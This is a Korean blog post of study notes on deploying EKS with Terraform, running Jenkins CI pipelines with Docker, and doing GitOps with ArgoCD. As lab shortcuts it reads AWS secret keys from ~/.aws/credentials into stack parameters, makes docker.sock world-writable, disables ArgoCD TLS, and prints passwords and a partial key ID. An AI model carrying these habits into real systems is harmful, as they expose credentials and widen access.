terraform graph > graph.dot

 

2. Terraform으로 EKS 배포

첫 번째 EKS 클러스터를 배포해보자.  EKS Module (링크: https://registry.terraform.io/modules/terraform-aws-modules/eks/aws/20.8.5 )를 사용한다.

# 코드 가져오기
git clone https://github.com/gasida/aews-cicd.git
cd aews-cicd/4

# terraform 환경 변수 저장
export TF_VAR_KeyName=[각자 ssh keypair]
export TF_VAR_KeyName='kp-ian'
echo $TF_VAR_KeyName

# 
terraform init
terraform plan

# 10분 후 배포 완료
terraform apply -auto-approve

 

 

약 10분이 지나 배포가 완료되면 배포 정보를 확인한다. kubectl 명령어를 실행 가능하도록  인증 정보를 가져오는 단계가 필요하다.

#
kubectl get node -v=6

# EKS 클러스터 인증 정보 업데이트
CLUSTER_NAME=myeks
aws eks update-kubeconfig --region ap-northeast-2 --name $CLUSTER_NAME
kubectl config rename-context "arn:aws:eks:ap-northeast-2:$(aws sts get-caller-identity --query 'Account' --output text):cluster/$CLUSTER_NAME" "Aews-Labs"

#
kubectl cluster-info
kubectl get node --label-columns=node.kubernetes.io/instance-type,eks.amazonaws.com/capacityType,topology.kubernetes.io/zone
kubectl get pod -A

 

 

기타 설치도 진행하자.

 

# ExternalDNS
MyDomain=<자신의 도메인>
MyDomain=sdndev.link
MyDnzHostedZoneId=$(aws route53 list-hosted-zones-by-name --dns-name "${MyDomain}." --query "HostedZones[0].Id" --output text)
echo $MyDomain, $MyDnzHostedZoneId
curl -s -O https://raw.githubusercontent.com/gasida/PKOS/main/aews/externaldns.yaml
MyDomain=$MyDomain MyDnzHostedZoneId=$MyDnzHostedZoneId envsubst < externaldns.yaml | kubectl apply -f -

# kube-ops-view
helm repo add geek-cookbook https://geek-cookbook.github.io/charts/
helm install kube-ops-view geek-cookbook/kube-ops-view --version 1.2.2 --set env.TZ="Asia/Seoul" --namespace kube-system
kubectl patch svc -n kube-system kube-ops-view -p '{"spec":{"type":"LoadBalancer"}}'
kubectl annotate service kube-ops-view -n kube-system "external-dns.alpha.kubernetes.io/hostname=kubeopsview.$MyDomain"
echo -e "Kube Ops View URL = http://kubeopsview.$MyDomain:8080/#scale=1.5"

# AWS LB Controller
helm repo add eks https://aws.github.io/eks-charts
helm repo update
helm install aws-load-balancer-controller eks/aws-load-balancer-controller -n kube-system --set clusterName=$CLUSTER_NAME \
  --set serviceAccount.create=false --set serviceAccount.name=aws-load-balancer-controller

# gp3 스토리지 클래스 생성
kubectl apply -f https://raw.githubusercontent.com/gasida/PKOS/main/aews/gp3-sc.yaml

 

Kube Ops까지 잘 나오는 것을 확인하였다.

 

그 다음 코드를 재사용하여 두 번째 클러스터를 배포해보자. 다른 클러스터에 접근하므로 서로 다른 kubeconfig 가 필요하다. myeks 클러스터에 접근할 때는 디폴트 config를, myeks2 클러스터에 접근할 때는 myeks2config 파일을 참조하는 것으로 확인을 하였다.

#
cd ..
mkdir 5
cd 5
cp ../4/*.tf .
ls

#
terraform init
terraform apply -auto-approve -var=ClusterBaseName=myeks2 -var=KubernetesVersion="1.28"

# EKS 클러스터 인증 정보 가져오기
CLUSTER_NAME2=myeks2
aws eks update-kubeconfig --region ap-northeast-2 --name $CLUSTER_NAME2 --kubeconfig ./myeks2config

# EKS 클러스터 정보 확인
kubectl --kubeconfig ./myeks2config get node 
kubectl --kubeconfig ./myeks2config get pod -A

 

 

실습을 다 하였다면 첫 번째 클러스터 및 두 번째 클러스터를 아래를 참고하여 완전히 삭제하도록 하자. 첫 번째 클러스터를 삭제하고

# CLB는 terraform으로 배포하지 않고 직접 수동으로 배포되었으니, 수동으로 삭제를 해주어야 함
helm uninstall kube-ops-view --namespace kube-system

# 클러스터 삭제
terraform destroy -auto-approve

 

두 번째 클러스터도 삭제한다.

# 클러스터 삭제
terraform destroy -auto-approve -var=ClusterBaseName=myeks2 -var=KubernetesVersion="1.28"

 

 

 

 

본 게시물은 CloudNet@에서 진행하는 AEWS (Amazon EKS Workshop Study) 스터디에 참여하며 정리한 내용입니다.

 

0. 실습 환경 배포 & 소개

이번 시간 역시 원클릭 배포를 먼저 진행한다. 작업용 EC2 IP 주소 확인이 가능한 때 접속한 후, 이후 EKS 배포가 완료되기를 약 20분 정도 기다리자.

# YAML 파일 다운로드
curl -O https://s3.ap-northeast-2.amazonaws.com/cloudformation.cloudneta.net/K8S/eks-oneclick6.yaml

# CloudFormation 스택 배포
aws cloudformation deploy --template-file eks-oneclick6.yaml --stack-name myeks --parameter-overrides KeyName=kp-ian SgIngressSshCidr=$(curl -s ipinfo.io/ip)/32  MyIamUserAccessKeyID=`cat ~/.aws/credentials | grep aws_access_key_id | awk '{print $3}'` MyIamUserSecretAccessKey=`cat ~/.aws/credentials | grep aws_secret_access_key | awk '{print $3}'` ClusterBaseName=myeks --region ap-northeast-2

# CloudFormation 스택 배포 완료 후 작업용 EC2 IP 출력
aws cloudformation describe-stacks --stack-name myeks --query 'Stacks[*].Outputs[0].OutputValue' --output text

# 작업용 EC2 SSH 접속
ssh -i ~/.ssh/kp-ian.pem ec2-user@$(aws cloudformation describe-stacks --stack-name myeks --query 'Stacks[*].Outputs[0].OutputValue' --output text)
or
ssh -i ~/.ssh/kp-ian.pem root@$(aws cloudformation describe-stacks --stack-name myeks --query 'Stacks[*].Outputs[0].OutputValue' --output text)
~ password: qwe123

 

그 다음 기본 설정을 진행한다.

# default 네임스페이스 적용
kubectl ns default

# 노드 정보 확인 : t3.medium
kubectl get node --label-columns=node.kubernetes.io/instance-type,eks.amazonaws.com/capacityType,topology.kubernetes.io/zone

# ExternalDNS
MyDomain=sdndev.link
echo "export MyDomain=sdndev.link" >> /etc/profile
MyDnzHostedZoneId=$(aws route53 list-hosted-zones-by-name --dns-name "${MyDomain}." --query "HostedZones[0].Id" --output text)
echo $MyDomain, $MyDnzHostedZoneId
curl -s -O https://raw.githubusercontent.com/gasida/PKOS/main/aews/externaldns.yaml
MyDomain=$MyDomain MyDnzHostedZoneId=$MyDnzHostedZoneId envsubst < externaldns.yaml | kubectl apply -f -

# kube-ops-view
helm repo add geek-cookbook https://geek-cookbook.github.io/charts/
helm install kube-ops-view geek-cookbook/kube-ops-view --version 1.2.2 --set env.TZ="Asia/Seoul" --namespace kube-system
kubectl patch svc -n kube-system kube-ops-view -p '{"spec":{"type":"LoadBalancer"}}'
kubectl annotate service kube-ops-view -n kube-system "external-dns.alpha.kubernetes.io/hostname=kubeopsview.$MyDomain"
echo -e "Kube Ops View URL = http://kubeopsview.$MyDomain:8080/#scale=1.5"

# AWS LB Controller
helm repo add eks https://aws.github.io/eks-charts
helm repo update
helm install aws-load-balancer-controller eks/aws-load-balancer-controller -n kube-system --set clusterName=$CLUSTER_NAME \
  --set serviceAccount.create=false --set serviceAccount.name=aws-load-balancer-controller

# gp3 스토리지 클래스 생성
kubectl apply -f https://raw.githubusercontent.com/gasida/PKOS/main/aews/gp3-sc.yaml

# 노드 보안그룹 ID 확인
NGSGID=$(aws ec2 describe-security-groups --filters Name=group-name,Values=*ng1* --query "SecurityGroups[*].[GroupId]" --output text)
aws ec2 authorize-security-group-ingress --group-id $NGSGID --protocol '-1' --cidr 192.168.1.100/32

 

프로메테우스와 그라파나도 미리 설치하도록 하자.

# 사용 리전의 인증서 ARN 확인
CERT_ARN=`aws acm list-certificates --query 'CertificateSummaryList[].CertificateArn[]' --output text`
echo $CERT_ARN

# repo 추가
helm repo add prometheus-community https://prometheus-community.github.io/helm-charts

# 파라미터 파일 생성 : PV/PVC(AWS EBS) 삭제에 불편하니, 4주차 실습과 다르게 PV/PVC 미사용
cat <<EOT > monitor-values.yaml
prometheus:
  prometheusSpec:
    podMonitorSelectorNilUsesHelmValues: false
    serviceMonitorSelectorNilUsesHelmValues: false
    retention: 5d
    retentionSize: "10GiB"

  ingress:
    enabled: true
    ingressClassName: alb
    hosts: 
      - prometheus.$MyDomain
    paths: 
      - /*
    annotations:
      alb.ingress.kubernetes.io/scheme: internet-facing
      alb.ingress.kubernetes.io/target-type: ip
      alb.ingress.kubernetes.io/listen-ports: '[{"HTTPS":443}, {"HTTP":80}]'
      alb.ingress.kubernetes.io/certificate-arn: $CERT_ARN
      alb.ingress.kubernetes.io/success-codes: 200-399
      alb.ingress.kubernetes.io/load-balancer-name: myeks-ingress-alb
      alb.ingress.kubernetes.io/group.name: study
      alb.ingress.kubernetes.io/ssl-redirect: '443'

grafana:
  defaultDashboardsTimezone: Asia/Seoul
  adminPassword: prom-operator
  defaultDashboardsEnabled: false

  ingress:
    enabled: true
    ingressClassName: alb
    hosts: 
      - grafana.$MyDomain
    paths: 
      - /*
    annotations:
      alb.ingress.kubernetes.io/scheme: internet-facing
      alb.ingress.kubernetes.io/target-type: ip
      alb.ingress.kubernetes.io/listen-ports: '[{"HTTPS":443}, {"HTTP":80}]'
      alb.ingress.kubernetes.io/certificate-arn: $CERT_ARN
      alb.ingress.kubernetes.io/success-codes: 200-399
      alb.ingress.kubernetes.io/load-balancer-name: myeks-ingress-alb
      alb.ingress.kubernetes.io/group.name: study
      alb.ingress.kubernetes.io/ssl-redirect: '443'

alertmanager:
  enabled: false
EOT
cat monitor-values.yaml | yh

# 배포
kubectl create ns monitoring
helm install kube-prometheus-stack prometheus-community/kube-prometheus-stack --version 57.2.0 \
--set prometheus.prometheusSpec.scrapeInterval='15s' --set prometheus.prometheusSpec.evaluationInterval='15s' \
-f monitor-values.yaml --namespace monitoring

# Metrics-server 배포
kubectl apply -f https://github.com/kubernetes-sigs/metrics-server/releases/latest/download/components.yaml

# 프로메테우스 ingress 도메인으로 웹 접속
echo -e "Prometheus Web URL = https://prometheus.$MyDomain"

# 그라파나 웹 접속 : 기본 계정 - admin / prom-operator
echo -e "Grafana Web URL = https://grafana.$MyDomain"

 

1. Docker

도커 허브 (https://hub.docker.com)에 회원 가입되지 않았다면 회원 가입을 먼저 진행한다.

도커 허브 (hub.docker.com) 웹 페이지

 

# ubuntu 이미지 다운로드
docker pull ubuntu:20.04
docker images

# 실습을 위한 디렉터리 생성 및 이동
mkdir -p /root/myweb && cd /root/myweb

# Dockerfile 파일 생성
vi Dockerfile
FROM ubuntu:20.04
ENV TZ=Asia/Seoul VERSION=1.0.0 NICK=sdndev
RUN ln -snf /usr/share/zoneinfo/$TZ /etc/localtime && echo $TZ > /etc/timezone && \
    sed -i 's/archive.ubuntu.com/mirror.kakao.com/g' /etc/apt/sources.list && \
    sed -i 's/security.ubuntu.com/mirror.kakao.com/g' /etc/apt/sources.list && \
    apt-get update && apt-get install -y apache2 figlet && \
    echo "$NICK Web Server $VERSION<br>" > /var/www/html/index.html && \
    echo "<pre>" >> /var/www/html/index.html && \
    figlet AEWS Study >> /var/www/html/index.html && \
    echo "</pre>" >> /var/www/html/index.html
EXPOSE 80
CMD ["usr/sbin/apache2ctl", "-DFOREGROUND"]

# 이미지 빌드
cat Dockerfile
docker build -t myweb:v1.0.0 .
docker images
docker image history myweb:v1.0.0
docker image inspect myweb:v1.0.0 | jq

# 컨테이너 실행
docker run -d -p 80:80 --rm --name myweb myweb:v1.0.0
docker ps
curl localhost

# 웹 접속 확인
curl -s ipinfo.io/ip | awk '{ print "myweb = http://"$1"" }'

 

Docker 이미지 빌드가 잘 되고 컨테이너 이미지 실행 및 로컬 & 웹 접속이 잘 되는 것을 확인할 수 있었다.

 

(빌드한 Docker 이미지 실행 및 로컬 & 웹 접속 확인 완료!)

 

그 다음 도커 허브에 업로드해본다.

#
#DHUB=<도커 허브 계정>
DHUB=ianychoi
docker tag myweb:v1.0.0 $DHUB/myweb:v1.0.0
docker images

# 도커 허브 로그인
docker login
Username: <자신의 ID>
Password: <암호>
## 로그인 정보는 /[계정명]/.docker/config.json 에 저장됨. docker logout 시 삭제됨
## cat /root/.docker/config.json | jq

# push 로 이미지를 저장소에 업로드
docker push $DHUB/myweb:v1.0.0

 

도커 허브에서 업로드된 이미지 확인을 완료하였다.

 

 

해당 저장소 이미지를 활용해본다.

# 컨테이너 종료
docker rm -f myweb
docker ps

# 로컬 이미지 삭제
docker rmi $DHUB/myweb:v1.0.0
docker images

# 
docker run -d -p 80:80 --rm --name myweb $DHUB/myweb:v1.0.0
docker images

# 확인
docker ps
curl localhost
curl -s ipinfo.io/ip | awk '{ print "myweb = http://"$1"" }'

# 삭제
docker rm -f myweb

 

로컬에 이미지가 없는 상황에서 도커 허브로부터 이미지를 가져와 잘 실행됨을 확인하였다.

2. Jenkins

CI/CD 툴인 Jenkins를 EC2 Bastion VM에 설치해보자.

# 실습 편리를 위해서 root 계정 전환
sudo su -

# Add required dependencies for the jenkins package
# https://docs.aws.amazon.com/corretto/latest/corretto-17-ug/amazon-linux-install.html
sudo yum install fontconfig java-17-amazon-corretto -y
java -version
alternatives --display java
JAVA_HOME=/usr/lib/jvm/java-17-amazon-corretto.x86_64
echo $JAVA_HOME

# 젠킨스 설치
sudo wget -O /etc/yum.repos.d/jenkins.repo https://pkg.jenkins.io/redhat-stable/jenkins.repo
sudo rpm --import https://pkg.jenkins.io/redhat-stable/jenkins.io-2023.key
sudo yum upgrade
sudo yum install jenkins -y
sudo systemctl daemon-reload
sudo systemctl enable jenkins && sudo systemctl start jenkins
sudo systemctl status jenkins

# 초기 암호 확인
sudo systemctl status jenkins
cat /var/lib/jenkins/secrets/initialAdminPassword

# 접속 주소 확인 
curl -s ipinfo.io/ip | awk '{ print "Jenkins = http://"$1":8080" }'
Jenkins = http://43.202.2.88:8080

 

 

설치가 완료된 다음에는 몇 가지 세팅을 진행한다. 먼저 초기 암호를 입력한다. 그 다음 제안 플러그인을 설치하자. "Install suggested plugins"를 클릭한다.

 

 

다음과 같이 플러그인 설치가 이루어진다.

 

다만 본인은 설치할 때 미러링 서버에 이슈가 있어서 그런지 아래 스크린샷과 같이 잘 설치가 되지 않았다. 이를 해결하고자 다른 리눅스 환경에서 동일한 Jenkins를 설치하고 플러그인 설치를 모두 완료한 상태에서 /var/lib/jenkins 폴더 전체를 tar 압축 후 가져오는 형태로 해결을 하였다.

 

플러그인 설치가 잘 되면 그 다음 사용자를 생성하고 Jenkins를 사용하면 된다.

 

Jenkins 관리에서 First-Project를 생성을 해볼 것이다. 그 전에 먼저 "Manage Jenkins" -> "Tools" -> "JDK installations" 부분에 "Add JDK"를 선택 후 아래 스크린샷과 같이 jdk-17, /usr/lib/jvm/java-17-amazon-corretto.x86_64 값을 각각 입력 후 "Save" 버튼을 클릭한다.

 

그 다음에 왼쪽 메뉴에서 "New Item"을 클릭하면 새로운 아이템을 입력하는 화면이 나타난다. "First-Project"라고 이름을 적고 "Freestyle project"를 선택한 다음 하단 "OK"를 클릭하자.

 

그 다음 나타나는 Configuration 메뉴에서는 세부 구성을 설정할 수가 있다. 그 중 "Build Steps"를 클릭 후 "Add build step" -> "Execute shell"을 선택한 다음, echo "Aws Workshop Study" 와 같이 간단한 문장을 출력하도록 입력한 다음에 하단 "Apply" 및 "Save" 버튼을 클릭하여 저장한다.

 

왼쪽 메뉴 중 "Build Now"를 선택하면 실행된 결과가 왼쪽 하단 "Build History"에 보이며 콘솔 출력 결과 또한 확인이 가능하다.

 

다시 Configuration -> Configure -> Build Environment -> Build Steps에서 "java -version", "whoami", "touch hello.txt"를 추가하고 Apply & Save를 클릭한 다음에 "Build Now"를 클릭하여 실행을 해보자. 콘솔에서도 확인할 수 있으며 특히 "tree /var/lib/jenkins/workspace/First-Project" 명령어를 Bastion EC2에서 실행하면 hello.txt 파일이 /var/lib/jenkins 내 workspace 에서 프로젝트 명 내에 파일이 저장된다는 것을 확인할 수 있다.

 

그 다음으로는 Jenkins에서 Docker를 사용하도록 설정해본다.

# jenkins 유저로 docker 사용 가능하게 설정
grep -i jenkins /etc/passwd
usermod -s /bin/bash jenkins
grep -i jenkins /etc/passwd

# jenkins 유저 전환
su - jenkins
whoami
pwd
docker info
exit

#
chmod 666 /var/run/docker.sock
usermod -aG docker jenkins

# Jeknins 유저로 확인
su - jenkins
docker info

# Dockerhub로 로그인 하기
docker login
Username: <자신의 계정명>
Password: <자신의 암호>

# myweb:v2.0.0 컨테이너 이미지 생성을 위한 Dockerfile 준비
# 실습을 위한 디렉터리 생성 및 이동
mkdir -p ~/myweb2 && cd ~/myweb2

# Dockerfile 파일 생성
vi Dockerfile
FROM ubuntu:20.04
ENV TZ=Asia/Seoul VERSION=2.0.0 NICK=sdndev
RUN ln -snf /usr/share/zoneinfo/$TZ /etc/localtime && echo $TZ > /etc/timezone && \
    sed -i 's/archive.ubuntu.com/mirror.kakao.com/g' /etc/apt/sources.list && \
    sed -i 's/security.ubuntu.com/mirror.kakao.com/g' /etc/apt/sources.list && \
    apt-get update && apt-get install -y apache2 figlet && \
    echo "$NICK Web Server $VERSION<br>" > /var/www/html/index.html && \
    echo "<pre>" >> /var/www/html/index.html && \
    figlet AEWS Study >> /var/www/html/index.html && \
    echo "</pre>" >> /var/www/html/index.html
EXPOSE 80
CMD ["usr/sbin/apache2ctl", "-DFOREGROUND"]

# 모니터링
watch -d 'docker images; echo; docker ps'

-----------
# (참고) 이미지 빌드
docker build -t myweb:v2.0.0 -f /var/lib/jenkins/myweb2/Dockerfile

# (참고) 컨테이너 실행
docker run -d -p 80:80 --rm --name myweb myweb:v2.0.0

 

jenkins 사용자에 대해서는 디폴트 쉘이 /bin/false로 되어 있기에 이를 /bin/bash로 변경한 다음 su 명령어를 통해 jenkins 사용자로 shell을 실행하였다. 그런데 docker info를 실행하면 "permission denied"가 나타나는 것을 확인할 수 있다.

 

이를 위해서는 /var/run/docker.sock 파일에 대해 jenkins 사용자도 액세스할 수가 있어야 한다. 이를 재설정하고 다시 shell에 접속하여 docker info를 실행하면 잘 실행될 것이다.

 

나머지 명령어도 실행하여 Dockerfile 을 만들고 컨테이너가 구동되는지 확인하기 위한 모니터링 준비를 하자.

 

그 다음 다시 Jenkins로 돌아가 Build Step 2개를 추가한 다음 Apply & Save를 클릭한다. 각각은 다음과 같다.

 

cd /var/lib/jenkins/myweb2
docker build -t myweb:v2.0.0 .

 

docker run -d -p 80:80 --rm --name myweb myweb:v2.0.0

 

 

"Build Now"를 해보자. 모니터링하던 부분에서 다음과 같은 변화를 발견할 수 있었다.

 

 

"docker images", "docker ps", "curl localhost"와 같은 명령어로 테스트해보자.

 

완료한 다음에는 실습 리소스를 삭제한다.

 

docker rm -f myweb
docker rmi myweb:v2.0.0

 

이제 GitHub 저장소와 연동하는 부분을 실습해보자.

https://github.com/gasida/aews-cicd 를 fork한 다음, fork가 된 저장소를 가지고 실습을 진행할 예정이다.

 

Jenkins에서 Dashboard -> New Item을 클릭하고 "Trigger-Project" 이름으로 "Freestyle project"를 생성하도록 한다.

 

그리고 "This project is parameterized" 옵션을 선택하면 "Add parameter" 버튼을 통해 파라미터를 추가할 수 있다. "String parameter"로 VERSION에 대해서는 v1.0.0 값을, NICK 이름에 대해서는 본인의 닉네임 값을 추가한다.

 

그 다음, Source Code Management에서 "Git"를 선택하고 저장소 URL을 지정, branch는 "*/main"으로 (master 대신 main으로 변경) 설정한 다음, "Additional Behaviours"에서 "Sparse Checkout paths"를 추가, Path 값은 1로 설정한다.

 

또한 "Build Triggers"에서 "Poll SCM"을 클릭한 다음, Schedule에 "* * * * *" 값을 입력하자.

 

Build Steps에는 "Execute shell" 2개를 추가한다. 아래 내용을 참고하여 추가하도록 하자.

cd /var/lib/jenkins/myweb2
rm -rf Dockerfile
wget https://raw.githubusercontent.com/$NICK/aews-cicd/main/1/Dockerfile
docker build -t myweb:$VERSION .
docker run -d -p 80:80 --rm --name myweb myweb:$VERSION

 

 

여기까지 다 잘 했으면 "Apply" & "Save" 버튼을 클릭한다.

 

이제 GitHub 저장소에서 Trigger를 발생시켜본다. GitHub 저장소 내 1/Dockerfile 에 대해 버전 정보와 닉네임을 편집하여 커밋을 만들어보자.

 

약 1분 정도 이후에 Jenkins에서 확인해보면 오류가 발생한 상황이 보인다. 콘솔에서 세부 내용을 살펴보자.

 

최신 커밋에 따른 파일 내용은 잘 가져왔는데 경로 등이 맞지 않는 것인지 실행이 잘 안되는 것 같다. 다른 "Execute shell"에 있다면 경로가 다를 수 있기에 "cd /var/lib/jenkins/myweb2"를 추가하고 "Build with Parameters" 버튼을 클릭하여 재실행해보았다.

 

확인해보니 실행은 잘 되었다. 그런데 버전이 다른 것을 확인할 수 있다.

이 부분에서 소스 코드가 우선인지 Jenkins에 있는 파라미터가 우선인지 잠깐 생각해볼 필요가 있겠다. CI/CD 전반적인 관점에서는 소스 코드가 우선되어야 할 것 같으나, 반면 Jenkins 입장에서는 파라미터에 있는 값을 활용하는 것이 우선시되어야한다고 볼 수도 있을 것이다. Jenkins 파라미터를 우선으로 할 경우에는 아래 스크린샷처럼 sed를 활용해 값을 바꾸어주고 그 결과를 확인해보자.

sed -i "s/VERSION=[0-9.]*/VERSION=${VERSION}/g" Dockerfile
sed -i "s/NICK=[A-Za-z0-9.]*/NICK=${NICK}/g" Dockerfile

 

이렇게 해도 오류가 발생하였는데, 기존 Docker 프로세스를 종료하지 않아서이다. 따라서 "docker rm -f myweb"을 Execute shell 에 추가하는 것으로 해결하였다.

 

 

(최종 성공 스크린샷)

아래 명령어를 실행하여 실습 내용을 정리하도록 하자.

docker rm -f myweb
docker rmi myweb:v1.9.9
docker rmi myweb:v1.0.0

 

그 다음으로는 Jenkins 파이프라인을 실습해보도록 하자.

 

Dashboard -> "New Item"을 클릭한 다음에 "First-Pipeline" 이름을 갖는 "Pipeline"을 생성한다.

 

파이프라인 스크립트에 아래 내용을 입력하여 테스트해보도록 하자.

pipeline {
    agent any

    stages {
        stage('정보 확인') {
            steps {
                echo 'Hello World'
                sh 'java -version'
            }
        }
        stage('가라 배포') {
            steps {
                echo "Deployed successfully!";
            }
        }
    }
}

이후 몇 가지 변경 및 실습을 추가로 진행해보았다. Maven의 경우 tools 내 이름이 "Manage Jenkins" -> Tools 내 설정된 이름과 동일해야 한다.

뿐만 아니라 "Pipeline Syntax" 기능을 사용하여 파이프라인 스크립트를 손쉽게 만들 수도 있다. "sh: Shell Script"로 두 줄 명령어에 대해 스크립트를 요청하니 자동으로 작은 따옴표 3개로 감싸주었다.

 

3. Jenkins with Kubernetes

이제 Jenkins를 쿠버네티스 서비스인 EKS 환경과 연동을 시켜보자.

# jenkins 사용자에서 아래 작업 진행
whoami
mkdir ~/.kube

# root 계정에서 아래 복사 실행
cp ~/.kube/config /var/lib/jenkins/.kube/config
chown jenkins:jenkins /var/lib/jenkins/.kube/config

# jenkins 사용자에서 aws eks 사용(sts 호출 등)을 위한 자격증명 설정
aws configure
AWS Access Key ID [None]: AKIA5ILF2###
AWS Secret Access Key [None]: ###
Default region name [None]: ap-northeast-2

# jenkins 사용자에서 kubectl 명령어 사용 확인
kubectl get pods -A

 

파이프라인으로 디플로이먼트/서비스를 배포해보고자 한다.

 

진행하기 위해서는 fork한 GitHub 리포지터리에 3/deploy/deployment-svc.yaml 파일이 있는데 이 파일에서 image 부분에 자신의 도커 허브 이미지를 가리키도록 수정을 할 필요가 있다.

 

이제 Jenkins에서 새로운 Item을 만들어보자. "k8s-1" 이으로 Pipeline을 생성한다. 아래 내용으로 구성한다.

pipeline {
    agent any

    tools {
        jdk 'jdk-17'
    }

    environment {
        DOCKERHUB_USERNAME = 'ianychoi'
        GITHUB_URL = 'https://github.com/ianychoi/aews-cicd.git'
        // deployment-svc.yaml -> image: ianychoi/myweb:v1.0.0        
        DIR_NUM = '3'
    }

    stages {
        stage('Container Build') {
            steps {	
                // 릴리즈파일 체크아웃
                checkout scmGit(branches: [[name: '*/main']], 
                    extensions: [[$class: 'SparseCheckoutPaths', 
                    sparseCheckoutPaths: [[path: "/${DIR_NUM}"]]]], 
                    userRemoteConfigs: [[url: "${GITHUB_URL}"]])

                // 컨테이너 빌드 및 업로드
                sh "docker build -t ${DOCKERHUB_USERNAME}/myweb:v1.0.0 ./${DIR_NUM}"
                sh "docker push ${DOCKERHUB_USERNAME}/myweb:v1.0.0"
            }
        }

        stage('K8S Deploy') {
            steps {
                sh "kubectl apply -f ./${DIR_NUM}/deploy/deployment-svc.yaml"
            }
        }
    }
}

 

모니터링을 위해 준비하고

watch -d kubectl get pod,svc,ep

 

접속 테스트용 파드를 생성한다.

 

# 배포
cat <<EOF | kubectl create -f -
apiVersion: v1
kind: Pod
metadata:
  name: netpod
  labels:
    app: pod
spec:
  containers:
  - name: netshoot-pod
    image: nicolaka/netshoot
    command: ["tail"]
    args: ["-f", "/dev/null"]
  terminationGracePeriodSeconds: 0
EOF

 

실제 잘 동작하는지 아래 명령어를 참고하여 확인해보자.

#
kubectl exec -it netpod -- curl myweb:8080
kubectl exec -it netpod -- curl myweb:8080 | grep Web
while true; do kubectl exec -it netpod -- curl myweb:8080 | grep Web; echo; done

# 작업공간 확인
tree /var/lib/jenkins/workspace/k8s-1
cat /var/lib/jenkins/workspace/k8s-1/3/Dockerfile

 

실행 결과 처음에는 실패하였는데 Jenkins 사용자에 대한 Shell에서 "aws configure"로 구성을 제대로 하지 않았기 때문이었다. 이를 제대로 구성한 후 다시 실행하여 잘 실행됨을 확인할 수 있었다.

 

 

실습 완료 후에는 자원을 삭제한다.

kubectl delete deploy,svc myweb

 

4. Argo

Argo를 설치해본다.

# helm 설치
cat <<EOT > argocd-values.yaml
global:
  domain: argocd.$MyDomain

configs:
  params:
    server.insecure: true

controller:
  metrics:
    enabled: true
    serviceMonitor:
      enabled: true

server:
  ingress:
    enabled: true
    controller: aws
    ingressClassName: alb
    hostname: "argocd.$MyDomain"
    annotations:
      alb.ingress.kubernetes.io/scheme: internet-facing
      alb.ingress.kubernetes.io/target-type: ip
      alb.ingress.kubernetes.io/backend-protocol: HTTP
      alb.ingress.kubernetes.io/listen-ports: '[{"HTTPS":80}, {"HTTPS":443}]'
      alb.ingress.kubernetes.io/certificate-arn: $CERT_ARN
      #alb.ingress.kubernetes.io/success-codes: 200-399
      #alb.ingress.kubernetes.io/load-balancer-name: myeks-ingress-alb
      #alb.ingress.kubernetes.io/group.name: study
      alb.ingress.kubernetes.io/ssl-redirect: '443'
    aws:
      serviceType: ClusterIP
      backendProtocolVersion: GRPC
  metrics:
    enabled: true
    serviceMonitor:
      enabled: true

repoServer:
  metrics:
    enabled: true
    serviceMonitor:
      enabled: true

applicationSet:
  metrics:
    enabled: true
    serviceMonitor:
      enabled: true

notifications:
  metrics:
    enabled: true
    serviceMonitor:
      enabled: true
EOT

kubectl create ns argocd
helm repo add argo https://argoproj.github.io/argo-helm
helm install argocd argo/argo-cd --version 6.7.11 -f argocd-values.yaml --namespace argocd

# 확인
kubectl get ingress,pod,svc -n argocd
kubectl get crd | grep argo
applications.argoproj.io                     2024-04-14T11:16:14Z
applicationsets.argoproj.io                  2024-04-14T11:16:14Z
appprojects.argoproj.io                      2024-04-14T11:16:14Z

# 최초 접속 암호 확인
kubectl -n argocd get secret argocd-initial-admin-secret -o jsonpath="{.data.password}" | base64 -d ;echo
t-SGogfJOsiaMFd8

 

 

이후 "NEW APP"을 클릭하여 새 앱을 생성한다.

 

 

생성하면 바로 "OutOfSync" 상태로 변하는 것을 확인할 수 있다.

 

"Sync" -> "Synchronize" 버튼을 클릭한다.

 

ArgoCD는 Desired Manifest와 비교하여 Sync가 이루어진 후에 Live Manifest 결과로 나타난다. myweb에 대한 Deploy를 선택하고, Live Manifest에서 Edit 버튼을 클릭한 다음 "add: label-test"를 아래 스크린샷과 같이 추가해보자.

 

 

아래와 같이 "watch -d kubectl get deploy -n first --show-labels"를 통해 모니터링해보면 Save를 하면 라벨이 추가된 결과를 확인할 수 있다.

 

 

"kubectl edit deploy -n first myweb"을 통해 확인하면 "add: label-test"가 있는 것을 확인할 수 있다.

 

그런데 ArgoCD에서는 diff결과가 나타나지 않는다. 심지어 "add2=k8s-add"와 같은 것을 추가해도 diff 결과가 없다.

 

반면 소스 코드에서 "gitadd: webedit"와 같은 라벨을 추가해보면 약 3분이 지나서 ArgoCD에서 확인하거나 또는 "Refresh" 버튼을 클릭하여 확인할 수 있다.

 

이 부분은 diff에서 차이를 확인할 수 있다.

 

반영을 하기 위해 "Sync" 버튼을 클릭한다.

 

해당 상황은 이전에 Jenkins를 실습할 때 살펴보았던 상황과 비슷하게 소스 코드를 우선으로 GitOps가 되어야 한다는 철학이 이유가 되지 않을까 싶다.

 

이번에는 Replica 수를 2에서 4로 변경해보자. 역시 마찬가지로 "Refresh" 한 다음 "Sync" -> "Synchronize" 버튼을 클릭하였다.

 

 

ArgoCD에서 삭제 또한 편리하게 가능하다고 한다. "Delete" 버튼을 클릭한 후 앱 이름을 한 번 어 입력하고 "OK" 버튼을 클릭해보자.

 

중요한 결론으로는 "GitOps를 하려거든 대상(k8s)에서 변경하지 말고, 소스(git)에서 변경하자!"가 있겠다.

 

ArgoCD CLI 버전도 있다. 설치하여 확인해보자.

#
curl -sSL -o argocd-linux-amd64 https://github.com/argoproj/argo-cd/releases/latest/download/argocd-linux-amd64
sudo install -m 555 argocd-linux-amd64 /usr/local/bin/argocd
rm -f argocd-linux-amd64

#
argocd version

#
argocd login argocd.$MyDomain
Username: admin
Password: ###
'admin:login' logged in successfully

#
kubectl config get-contexts -o name
aewsian@myeks.ap-northeast-2.eksctl.io
argocd cluster add aewsian@myeks.ap-northeast-2.eksctl.io
y 입력

#
argocd app list
NAME  CLUSTER  NAMESPACE  PROJECT  STATUS  HEALTH  SYNCPOLICY  CONDITIONS  REPO  PATH  TARGET

 

앱 생성에 대해 아래와 같이 명령어로 가능하다.

#
kubectl config set-context --current --namespace=argocd
argocd app create guestbook --repo https://github.com/argoproj/argocd-example-apps.git --path guestbook --dest-server https://kubernetes.default.svc --dest-namespace default

#
argocd app list
